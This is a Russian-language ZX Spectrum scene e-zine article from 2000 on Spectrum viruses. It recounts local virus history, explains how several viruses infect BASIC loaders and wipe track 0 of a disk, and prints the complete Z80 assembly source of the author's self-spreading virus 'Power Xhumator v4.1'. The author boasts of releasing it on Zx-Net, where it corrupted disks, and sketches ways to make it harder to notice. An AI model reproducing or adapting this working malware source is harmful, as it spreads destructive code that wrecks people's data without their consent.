_____ _____ ___
_,┌\/┐ :░ :░ :░ ╓ social distortion all about vx-scene ╖
,4\┘¤"``"¤┘ ll l¤` ll ::;;;::;;.... ....:;..: ::...;.:;;;:;
:░(_ | ___ ll ._
`└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._ spectrum alive?! part 1 [2000]
_____ ``^"¤└/L, d7┘` ___ 7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by !mPeR!0 [PHG]
$$$$|/┌,.__,┌\:`4│/┐,_ _ll ``''""¤¤┘┘
$$$$|`└/|││|\┘` `¤└/│:
БАКТЕРИАЛЬНОЕ ОРУЖИЕ ;)
или ВИРУСЫ НА SPECTRUMе
(c) !mPeR!0^PHG
От автора
Это все обман, я ваш царь, и один только я.
Люди, как звери, когда власть над миром дана,
Ария, "Обман"
Для начала хочу сказать, что никакой я не вирмейкер. Если я написал на
Спеке вирус, пусть даже лучший, это не дает мне права считать себя
вимейкером. Просто я очень подлый :)
Во-вторых, я никогда особо и не интересовался вирусами на Спеке,
поэтому я могу точно и не знать принципов их работы. И тем более у меня
нет никакого желания приводить примеры исходников, ибо, за неимением
таковых, все придется писать и тестировать с нуля, а время - это не
только деньги, а еще и крепкое здоровье.
В-третьих, Спек - это не ПЦ, он не имеет столь развитой системы
прерываний, файловой системы (TR-DOS - это не система, а просто большой
глюк) и т.п., посему он не шибко годится для написания навороченных вирей.
И в-четвертых, я очень давно не писал серьезных статей и привык по
большей части ударяться в лирику, поэтому читачу придется смириться со
стилем написания сего опуса.
Немного истории
Другая кровь, другие раны,
Совсем другие времена,
Иные имена.
Ария, "Замкнутый круг"
Началось все дело годков так 5 назад. Я тогда был еще совсем маленький,
однако уже трохи в ASMе варил, поэтому адекватно воспринимал окружающую
действительность. Ясно, что как во всех мало-мальски сценовых городах,
у нас были типа крЮтые личности, считающие себя пупом земли. Нам,
наверное, повезло - у нас было аж 2 штуки. Один из них, Andy Tacker, уже
лет 5 продавал софт местному населению, а другой, VfNG/NHG, считал себя
самым кул хацкером на Спеке. Я не знаю, чем первый насолил второму, но
второй решил сделать большую подлость.
Подлость эта выразилась в написании вируса с целью занесения его в
лагерь врага. Я не знаю, удалось ли это VfNG, но версий виря было дохрена,
я видел только последнюю - 7.06, вроде. Сам вирус был написан довольно
коряво, но для ПЕРВОГО вируса по тем временам это было довльно круто.
Опять же, я не утверждаю, что это был первый вирус, но вроде так...
Молодой и неопытный !mPeR!0, то бишь я, кидается писать антивирус.
Антивируса выходит аж 3 версии, каждая из которых глючна по-своему,
но имея все 3 можно вполне успешно "убивать" вирь...
Пару месяцев спустя появляется расейская игрушка Last Батл (обращаю
внимание хронических алконавтов - не Bottle, а Battle ;). В ней торчит
некое подобие вируса, даже не вируса, а просто кала, увеличивающего с
каждым запуском счетчик и в скором времени делающего падлянку. Говорят
это была типа защита от пиратства. Убиралась эта защита за пару минут.
Проходит 3 года...
К концу 98 года получает охеренное распространение Zx-Net и прочая
лажа. О вирусах ни слуху, ни духу (а может и были, но в крайнем случае я
не в курсе). После долгой мудотни я пишу хитрожопый вирь, дабы народ в
Zx-Netе поменьше тащился. Версий было куча, но последняя, 4.1, выпускается
на волю. Говорили, что шухер был неплохой :)
Начиная с 99 года в разных Спековских электронных изданиях появляются
статейки разных тупорылых придурков о вирусах. Я не знаю, как такое можно
писать. Это равносильно тому, что я сел бы писать о методах борьбы с
грызунами.
Осенью 99 года кто-то поднимает тему о вирусах в эхе ZX.SPECTRUM.
Народу отликается мало, но удается выудить сорец примитивного overwrite
вируса. Я его даже не пускал, просто посмотрел и стер. Тогда же я
получаю от модератора [+] за то, что залил в эху свой Xhumator.
Модератор обещал еще по [+] за каждый испорченный диск, но жалоб вроде не
поступало ;)...
На сегодняшний день это, пожалуй все. Если я что-то упустил, то
пардон - я ж не всевышний.
Разновидности вирусов, методы заражения,
а также много мата :(
Из интернета
В мой компьютер
Влез страшный вирус...
Урод дЭЦЫЛ и друзья
1). Тот самый первый вирус, который был написан VfNG, и имел кодовое
название "VIR", что в очередной раз доказывало недалекость ума его
создателя :)
Этот вирус занимал около кила свободного веса, что само по себе
наталкивает на нехорошие мысли. Ладно, если на ПЦ NutCracker весит
7 кил, так он и творит весчи, а здесь...
Короче, вирус пытался заразить basic-файлы, что у него неплохо
получалось. При заражении исходный basic loader убивался, становясь
типа стертым файлом, а модифицированный basic loader писался в конец
диска. В начало файла вирус вставлял что-то типа:
1 RANDOMIZE USR XXXXX: код вируса
└─────^
... дальше идет прога
и изменял соответственно стартовую строку программы на "1". После
своего выполнения вирус восстаниваливал сдвинутую прогу на свое место и
передавал ей выполнение.
В своем теле вирус имел счетчик, который увеличивался с каждым
запуском зараженной проги и при достижении определенного значения нулевой
трек на диске тихо убивался.
Недостатки:
- слишком большая длина вируса (imho, откомпилив такое же действо на
каком Паскале, можно было бы получить меньший код);
- не работоспосбность и галимоработоспособность (я не проверял,
но могу это утверждать со 100% уверенностью) вируса на моноблочных файлах.
Дело в том, что писался он для местного дистрибьютера, у которого все
проги были разбиты по файлам (загрузчик отдельно, картинка отдельно,
код отдельно) , и загрузчик было вполне реально заменить на
подъеб.чный; с появлением моноблочных прог, где все висит в одном
файле, который может иметь размер 64 кила и загрузчик длиной, к
примеру, 112 байт, произвести его перезапись этому вирусу не по силенкам.
2). Вирь из последнего батла (Last Battle).
В "readme" по игрушке было написано грозное предупреждение, что типа,
кто имеет шаровую версию нашей игрушки, тот после N-ного количества ее
запусков получит хрен с маслом, а не игру.
Хрен с маслом представлял из себя загрузчик игры, содержащий 2
килобайта каких-то корявостей, впоследствии оказавшихся небольшим падлом.
Падло это не умело распространяться, но ставило народ на счетчик ;),
который с каждым запуском игры увеличивался, апосля чего, делал что-то
нехорошее (я не дождался этого момента, а попросту выкосил эту дрянь).
3). Простенький overwrite вирус (названия не знаю, пролетал как-то в
эхе ZX.SPECTRUM).
Вирус представлял собой самостоятельный basic файл вида:
10 RANDOMIZE USR XXXXX: код вируса
└─────^
Алгоритм его действия особо умом не блестал и представлял собой нечто
напоминающее:
1. Ищем подходящую жертву.
2. Если жертва найдена, то п.3, иначе убиваем нулевой трек.
3. На место жертвы пишем себя, родимого.
4. Вылетаем на Кудыкину гору (типа прога запорчена и не
запускается).
Недостатки:
- неработоспособность с моноблочными файлами (эх, не любят их родимых);
- дебильный overwrite. Пардон, но убивание проги при заражении - это
маразм. Только тупорылый юзер не заподозрит неладного.
4). Вирусы, заражающие кодовые файлы.
Я конечно ни одного такого не видел, но зато слышал. Да и не надо быть
особо умным, чтобы знать, как они работают.
Естественно, заразить любой кодовый файл - это нечто из области
нереального. Каждый из них имеет свой униКАЛьный адрес запуска, обнаружить
который вирусу не под силу. Но с появлением различных паковщиков картинок,
вполне стало реальностью заражать хотя бы эти самые пакованные картинки.
Да в принципе и не только картники - важно найти такой тип файлов,
адрес запуска которого можно засечь по какому-нибудь признаку.
Пример: ежели паковать картинку в каком-нибудь Laser Compactе,
то при сохранении ее на диск пишется файл с расширением ".p" -
вот это уже признак. Можно глядеть начало файла на предмет
какого-нибудь распаковщика (если файл запакованный).
Далее можно пойти двумя путями:
1. Убить старый файл и записать новый с большей длиной в конец диска
(а-ля "VIR").
2. Использовать под себя свободное место в последнем секторе файла
(если оно есть).
Далее влепляем в начало файла "JP на вирус" и все дела...
Недостатки:
- сейчас довольно сложно найти лежащие на диске по отдельности файлы,
которые можно так безбожно угробить, а ежели вести поиск по всему диску,
то это не заметит только человек со зрением ниже -7 ;)
5). Power Xhumator. Не хочу себя хвалить, и у моего творения есть
куча недостатков, но все же есть и преимущества.
Вирус использует свободное место в последнем секторе файла. В отличии от
вирусов 4) он не трогает кодовые файлы, так как нынче они не особо
распространены, а насилует basic загрузчики.
В отличии от вирусов 1) он не перезаписывает зараженный файл в конец
диска и прекрасно работает, как с отдельными загрузчиками, так и с
моноблоками.
Алгоритм на крЮтость не претендует:
1. Найти жертву.
2. Если жертвы есть, то п.3, иначе убиваем нулевой трек.
3. Заражаем ее.
4. Продолжаем выполнять программу.
Проверка на наличие жертвы представляет собой поиск файлов, у которых
размер basic загрузчика не превышает 114 байт. Так как вирус имеет длину
138 байт, а сектор - 256, плюс нам надо оставить еще 4 байта строки
автозапуска basic файла, нам нужны именно такие файлы.
Заражение проходит на двух стадиях:
1. Запись вируса в файл.
2. Поиск обращения к TR-DOS (#3D13). Если таковое найдено, то оно
заменяется на стартовый адрес вируса.
То бишь, независимо от того, есть обращение к TR-DOS, или нет, вирус
в прогу все равно вставит свои культи. Другое дело, что вызываться он будет
только при наличии CALL (JP) #3D13.
Имхо, Xhumator идеально подходит для моноблоков, где в 90% случаев
загрузчик содержит загрузку последующего блока через #3D13.
Недостатки:
- иногда в файлах вирь находит левые два байта #13 и #3D, апосля чего,
при их замене файл херится (особенно не моноблоки), но пришлось этим
пожертвовать во имя уменьшения кода;
- вирус херит альтернативные регистры A',B',C',D',E',H',L'. Tак что
иногда это дело может привести к фатальным последствиям, если зараженная
прога их использует, но опять же пришлось этим пожертвовать ради нескольких
байт;
- заражаемый basic файл не может иметь длину больше чем 8759 байт
(длина basic, а не целого моноблока) - опять же оптимизация;
- ну и еще несколько мелочей, которые стали причиной той же оптимизации.
Исходник вируса трохи ниже. Так же, я взял кусок своей статьи, которую
писал два года назад для нашей e-paper Impulse...
Power Xhumator v4.1
[ Cut from Impulse #3 ]
(c) !mPeR!0^PHG
Народ, предлагаю Вашему вниманию исходник вируса под
названием Power Xhumator версии 4.1. Первоначально сей вирус
занимал #A3 байта и писался вот так, от балды. Но мне
понравилась идея и я оптимизировал код вируса до #8A байт и
написал даже инсталляшку. Что он творит? А творит он самое
подлое - гадит 0 трек на Ваших драгоценных дисках, и что еще
подлее, так это то, что XHUM гадит 0 трек еще и на Ваших рабочих
дисках. Xhum встраивается в basic-лоадеры всевозможных прог, не
превышающие #XX72 байт и ждет своего часа.
Мало того, что вирус способен самораспространяться; файлы,
содержащие вирус inside, могут подвергаться любому насилию,
такому как копирование, уплотнение, транспортировка по почте
и.т.д. Конечно, не гарантирована работоспособность вируса со
100% файлов, но, извините меня, это все-таки всего лишь #8A
байт.
;---------------------------
; Power Xhumator v4.1
; Special edition 4 Zx-Net
;
; Koded & Optimized
; by !mPeR!0^PHG
;---------------------------
LEN EQU 138
ORG #8000
RST 56
EXX ;меняем регистры на альтренативные
DEC SP
DEC SP
POP AF ;получем адрес запуска вируса + 1
EX AF,AF'
LD HL,#C9F1 ;(*)
LD (23746),HL ;(*)
LD DE,0 ;(*)
LD BC,#0905
PUSH HL
PUSH HL
CALL #3D13 ;чиатем 0 трек
EX (SP),HL
FIND POP AF ;ищем жертву
LD A,(HL)
POP DE
AND A
JR Z,EXIT ;жертв нет, диск можно убивать
PUSH DE
LD DE,4
ADD HL,DE
ADD HL,DE
LD A,(HL) ;тип файла
INC HL
LD C,(HL) ;длина.Lo
PUSH HL
INC HL
LD B,(HL) ;длина.Hi
ADD HL,DE
LD E,(HL) ;начальный сектор
INC HL
LD D,(HL) ;начальный трек
INC HL
CP "B"
JR NZ,FIND ;то не basic
LD A,C
CP 253-LEN
JR NC,FIND ;длины многовато будет
POP HL
ADD A,LEN ;увеличиваем длину файла
LD (HL),A ;на длину вируса
LD HL,#DD3B
PUSH BC
PUSH DE
PUSH HL
PUSH BC
PUSH BC
PUSH HL
INC B
LD C,5
CALL #3D13 ;читаем файл
POP HL
POP BC
ADD HL,BC
PUSH HL
PUSH HL
EX DE,HL
LD HL,LEN
PUSH HL
ADD HL,DE
EX DE,HL
LDIR ;освобождаем место для вируса
POP BC
POP DE
EX AF,AF'
PUSH AF
POP HL
DEC HL
LDIR ;всовываем код вируса
POP DE
POP BC
LD H,D
LD L,E
RES 7,D
LD A,#3D
CPDR ;ищем с конца файла #3D
ADD A,(HL)
CP #50
JR NZ,SAVE ;это не #3D13
LD (HL),E ;меняем #3D13 на адрес вируса
INC HL
LD (HL),D
SAVE POP HL
POP DE
POP BC
INC B
LD C,6
CALL #3D13 ;сохраняем файл на свое место
EXIT POP HL
LD DE,0 ;(*)
LD BC,#0906
CALL #3D13 ;сохраняем измененный нулевой трек
EXX ;восстанавливаем регистры
JP #3D13 ;выполняем обращение к TR-DOS
;(то, которое должна была выполнить
;зараженная прога),
[ End cut ]
Реальные перспективы
Беги, беги за солнцем,
Сбивая ноги в кровь
Беги, беги, не бойся
Играть судьбою вновь и вновь.
Ария, "Беги за солнцем"
Особо иллюзий по поводу будущего у вирусов на Спеке строить не стоит.
Пожалуй все они умерли, так особо и не появившись. Ну, а что касается
моих планов и Xhumatorа, в частности, то максимум, что можно выжать,
так это вместо строк, помеченных (*) влепить что-то типа:
LD HL,#C000
LD E,L
LD D,L
...
LD E,L
LD D,L
сэкономив на этом 2 байта, но потеряв контроль защиты диска от записи.
Или, что возможно я как-нибудь сделаю - уменьшение на 1 количества
позиционирований головки дисковода, что еще меньше будет обращать на
себя внимание. Вместо последовательности "зараженный файл -> чтение 0
трека -> заражение нового файла -> запись 0 трека -> зараженный файл"
будет последовательность "зараженный файл -> чтение+запись 0 трека ->
заражение нового файла -> зараженный файл".
Есть еще идея использовать нестандартный формат 8 сектора 0 трека и
всунуть вирус туда, тогда он будет выполняться при каждом обращении к
диску из TR-DOS. Правда, это дело легко будет засекаться, но идея-то
какова! ;)
Вот, такие дела. Для связи со мной (интим не предлагать ;) пользуйте:
[email protected]
2:454/7.120 Pavel Demchuk
PS: Вполне возможно, что, неся весь этот бред, я упустил что-то важное.
Я даже уверен, что что-то упустил. Я, в принципе, на память не жалуюсь,
но сами поймите, что регенерация у нее не а-ля микрушной. Так что,
народ, звиняйте.
(x) 2000 !mPeR!0^PHG